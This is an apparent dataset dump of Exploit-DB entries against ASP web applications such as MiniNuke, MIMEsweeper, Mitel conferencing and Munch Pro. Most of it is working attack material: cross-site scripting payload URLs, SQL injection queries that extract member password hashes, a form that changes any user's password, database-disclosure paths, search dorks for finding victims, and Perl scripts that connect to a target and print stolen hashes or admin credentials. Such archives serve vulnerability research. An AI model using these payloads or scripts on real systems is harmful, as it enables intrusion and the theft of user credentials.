deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38318
Description: MIMEsweeper For SMTP - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2013-02-18
Author: Anastasios Monachos

Exploit:
source: https://www.securityfocus.com/bid/58012/info

MIMEsweeper for SMTP is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

MIMEsweeper For SMTP 5.5 is vulnerable; other versions may also be affected.

https://www.example.com/MSWPMM/Common/Reminder.aspx?email=test<script>alert(document.cookie)</script> 
http://www.example.com/MSWPMM/Common/NewAccount.aspx?email=<script>alert("xss")</script> 
http://www.example.com/MSWPMM/Common/NewAccount.aspx?ddlCulture=<script>alert("xss")</script> 
http://www.example.com/MSWPMM/Common/NewAccount.aspx?btnCreateAccount=<script>alert("xss")</script> 
http://www.example.com/MSWPMM/Common/NewAccount.aspx?btnCancel=<script>alert("xss")</script> 
http://www.example.com/MSWPMM/Common/SignIn.aspx?tbEmailAddress=<script>alert("xss")</script>ReturnUrl=%2fMSWPMM%2fCommon%2fdefault.aspx 
http://www.example.com/MSWPMM/Common/SignIn.aspx?tbPassword=<script>alert("xss")</script>ReturnUrl=%2fMSWPMM%2fCommon%2fdefault.aspx 
http://www.example.com/MSWPMM/Common/SignIn.aspx?cbAutoSignIn="<script>alert("xss")</script> 
http://www.example.com/MSWPMM/Common/SignIn.aspx?btnSignIn=<script>alert("xss")</script>ReturnUrl=%2fMSWPMM%2fCommon%2fdefault.aspx 
http://www.example.com/MSWPMM/Common/SignIn.aspx?reason=<script>alert("xss")</script>
Exploit-DB #27913
Description: Mini-NUKE 2.3 - 'Your_Account.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-05-29
Author: Mustafa Can Bjorn

Exploit:
source: https://www.securityfocus.com/bid/18126/info

Mini-NUKE is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/mndir/enter.asp?gguvenlik=1&guvenlik=1&kuladi=victim&password=pass
http://www.example.com/mndir/Your_Account.asp?op=RegTheme&theme=default&#039;,seviye=&#039;1
Exploit-DB #10903
Description: Mini-NUKE 2.3 Freehost - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-01-01
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi

==============================================================================  

        [»]Mini-NUKE v2.3 Freehost  Multi Vulnerability 

==============================================================================  

   

    [»] Script:             [  Mini-NUKE v2.3 Freehost  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://aspindir.com/Goster/3543] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com and Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/db/mn7O4Z6J7L5W.mdb 

  [»] http://server/setup.asp


 


  [»] bu site motoru copyright © 2004 mini-nuke v2.3 kullanýlarak hazýrlanmýþtýr
 




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #1419
Description: MiniNuke 1.8.2 - 'hid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-14
Author: DetMyl

Exploit:
#!/usr/bin/perl

# MiniNuke (www.miniex.net) Version: <= 1.8.2  SQL-injection exploit.
# This exploit uses the vulnerability discovered by nukedx@nukedx.com.
# Exploit uses SQl-injection to give you the hash from user with chosen id.
# DetMyl, 2006 Detmyl@bk.ru 

use IO::Socket;

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)] 
 i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
$serv  = $ARGV[0];
$dir   = $ARGV[1];
$uid = $ARGV[2];
$proxy   = $ARGV[3];

print "----------------------------------\n";
if ( defined $proxy) {
	$proxy =~ s/(http:\/\/)//eg;
	($proxyAddr,$proxyPort) = split(/:/, $proxy);
   }
$serv =~ s/(http:\/\/)//eg;
$request ="http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid;
print "Connecting to: $serv...\n";
print $proxy?"Using proxy: $proxy \n":"";
$socket = IO::Socket::INET->new( Proto => "tcp",
				 PeerAddr => $proxyAddr?"$proxyAddr":"$serv",
				 PeerPort => $proxyPort?"$proxyPort":"80") 
				 || die "can't connect to: $serv\n";
print $socket "GET $request HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
	while($answer = <$socket>) {
		if ($answer =~ /<b>([\d,a-f]{32})<\/b>/) { 
			print "+ Found! The hash for user $uid: $1\n";
			print "----------------------------------\n";
			  exit(); }
		if ($answer =~ /number of columns/) { print "+ Vulnerable! But no result with default querry, so manually change the scrypt;-)...\n";exit(); }
	}
print "Exploit failed\n";
print "--------------------------\n";

# milw0rm.com [2006-01-14]
Exploit-DB #1418
Description: MiniNuke 1.8.2 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-01-14
Author: nukedx

Exploit:
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp 
---
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can change any users password without login.
---
How&Example: 
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>
[/code]

# milw0rm.com [2006-01-14]
Exploit-DB #1514
Description: MiniNuke 1.8.2b - 'pages.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-02-19
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
#Usage: mini.pl <victim.com> </mininuke-dir> <userid>
use IO::Socket;
if(@ARGV != 3){
print "
+**********************************************************************+
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
+            Usage: mini.pl <victim> <directory> <userid>              +
+                    Example: mini.pl sux.com / 1                      +
+               Method found & Exploit scripted by nukedx              +
+**********************************************************************+
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$port = "80";
$mndir = $ARGV[1];
$victimid = $ARGV[2];
$sreq ="http://".$server.$mndir."pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=".$victimid;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $mns "GET $sreq\n";
print $mns "Host: $server\n";
print $mns "Accept: */*\n";
print $mns "Connection: close\n\n";
print "+ Connected!...\n";
	while($answer = <$mns>) {
		if ($answer =~ /([\d,a-f]{32})/) { 
			print "+ USERID: $victimid\n";
                        print "+ MD5 HASH: $1\n";
			print "+**********************************************************************+\n";
			exit(); }
		if ($answer =~ /number of columns/) { 
                print "+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on it\n";
                print "+ So please edit query by manually adding null data..\n";
                exit(); }
	}
print "+ Exploit failed\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-02-19]

# milw0rm.com [2006-02-19]
Exploit-DB #5187
Description: MiniNuke 2.1 - 'uid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-02-25
Author: S@BUN

Exploit:
###############################################################
#
# MiniNuke v2.1 forum SQL Injection
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl:"members.asp?action"
#
# DORK 2 : allinurl: "members.asp"uid
#
################################################################
EXAMPLE=

members.asp?action=member_details&uid=SQL (exploit)

EXPLOIT 1 :

members.asp?action=member_details&uid=-1%20union%20select%200,sifre,0,0,0,0,0,kul_adi,0,sifre,kul_adi,sifre,1,1,1,sifre,1,1,1,isim,1,1,1,1,1,1,1,1%20from%20members

EXPLOIT 2 :

members.asp?action=member_details&uid=-1%20union%20select%200,0,0,0,0,0,0,sifre,0,sifre,0,1,1,sifre,14,sifre,1,1,1,1,2,1,2,2,2,2,2,2,2,2%20from%20members

EXPLLOIT 3 :

members.asp?action=member_details&uid=-1%20union%20select%200,1,sifre,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,kul_adi,sifre,2,kul_adi,sifre,2,2,2,sifre,3,3,3,isim,3,3,3,3,3,4,4,4%20from%20members


################################################################
# S@BUN               i AM NOT HACKER              S@BUN
################################################################

# milw0rm.com [2008-02-25]
Exploit-DB #35758
Description: Mitel Audio and Web Conferencing 4.4.3.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-05-16
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/47874/info

Mitel Audio and Web Conferencing is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Audio and Web Conferencing 4.4.3.0 is vulnerable; other versions may also be affected.

https://www.example.com/wd/wdinvite.asp?SID=&#039;><script>alert(1)</script>

https://www.example.com/wd/connect.asp?mode=joinmeeting&uid=&#039;><script>alert(1)</script>&sid=&#039;><script>alert(1)</script>

https://www.example.com/wd/applets/Error.asp?type=</span><script>alert(1)</script>
Exploit-DB #34343
Description: MOJO IWms 7 - 'default.asp' Cookie Manipulation
Type: webapps
Platform: asp
Date: 2007-12-17
Author: cp77fk4r

Exploit:
source: https://www.securityfocus.com/bid/41746/info

MOJO IWMS is prone to a cookie-manipulation vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this vulnerability could allow an attacker to masquerade as another user. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MOJO IWMS 7 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/upload/default.asp?mode=wrong&ERRMSG=%3Cmeta+http-equiv='Set-cookie'+content='[Cookie-Name]=[Cookie-Value]'%3E
Exploit-DB #11369
Description: MOJO's IWms 7 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-02-09
Author: cp77fk4r

Exploit:
# Exploit Title: MOJO's IWMS <= 7 SQL Injection & Cross Site Scripting.
# Date: 2/02/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: http://www.mojo.co.il
# Version: <= 7
# Tested on: ASP
#
##[Cross Site Scripting]
(Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it)
#
http://[HOST]/upload/default.asp?mode=wrong&ERRMSG=<h1>[Your_XSS_Here]<h1>
#
#
##[SQL Injection]
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
#
http://[HOST]/downloader.asp?file_id=1'+and+convert(int,@@version)='1
#
And:
#
HTTP POST REQUEST:
POST /upload/default.asp?mode=nodatap HTTP/1.1
Host: [HOST]
Content-Length: 55
#
email=a%27&[CREDENTIAL_REDACTED].x=29&imageField.y=0
#
#
[e0f]
Exploit-DB #25148
Description: Mono 1.0.5 - Unicode Character Conversion Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-02-22
Author: Andrey Rusyaev

Exploit:
source: https://www.securityfocus.com/bid/12626/info

It is reported that Mono is prone to various cross-site scripting attacks. These issues result from insufficient sanitization of user-supplied data and arise when Mono converts Unicode characters ranging from U+ff00-U+ff60 to ASCII.

Mono 1.0.5 is reported vulnerable, however, other versions may be affected as well.

http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e
Exploit-DB #12197
Description: Mp3 MuZik - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-04-13
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Mp3 MuZik Data Base Download Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.iqs3cur1ty.com 
  
| # Bug      : DB                                                           
======================      Exploit By indoushka       =================================
 # Exploit  : 
 

     1 - http://127.0.0.1/Mp3/dbaze/
     
     2 - http://127.0.0.1/Mp3/admin
     
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #22513
Description: MPCSoftWeb 1.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2003-04-21
Author: drG4njubas

Exploit:
source: https://www.securityfocus.com/bid/7390/info

MPCSoftWeb does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information such as administrative credentials for the guestbook. 

http://www.example.com/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb
Exploit-DB #10505
Description: Multi-Lingual Application - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: multi Blind SQL Injection Vulnerability
[~] Vendor: www.charon.co.uk
[*] Software: Multi-lingual Application
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 4:20 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/multi_language/adminsection/products_update.asp?ProductID={Err0r}


[*] EV!L BL!ND sql

/multi_language/adminsection/products_update.asp?ProductID={Devil ro0t}
0R
/multi_language/adminsection/RegistrationResults.asp?Delete={JuPA}
o&#1103;
/multi_language/content.asp?ContentID=((M2Z))

[~] (Devil ro0t):
7Ru3 : products_update.asp?ProductID=1 and 1=1
f4L53: products_update.asp?ProductID=1 and 1=2

0R
[*]:(JUPA)
7Ru3 : RegistrationResults.asp?Delete=1 and 1=1
f4L53: RegistrationResults.asp?Delete=1 and 1=2

0&#1103;
[*]:(M2Z)
7Ru3 : content.asp?ContentID=1 and 1=1
f4L53: content.asp?ContentID=1 and 1=2

N073:

! 7h!/\/k u can f!nd m0r3

just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #27842
Description: MultiCalendars 3.0 - 'All_calendars.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-09
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/17903/info

MultiCalendars is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 3.0 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/Demos/MC/all_calendars.asp?month=4&year=2006&cate=&cTYPE=1&calsids=&#039;%20or%20&#039;=&#039;
Exploit-DB #2761
Description: Munch Pro 1.0 - 'switch.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-12
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Munch Pro 1.0 (switch.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//    Munch Pro 1.0 (switch.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "switch.asp?pg=subMenu&catid=";
$target = "-1%20union%20select%200,0,username,0,password,0%20from%20users%20where%20id%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /74%\"><font color=\"#000000\"><strong>(.*?)<\/strong><br>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /17%\" align=\"center\"><Font Color=\"#000000\"><strong>(.*?)<\/strong><\/Font><\/TD>/){ 
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Under Construction, Please check back soon.../) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-12]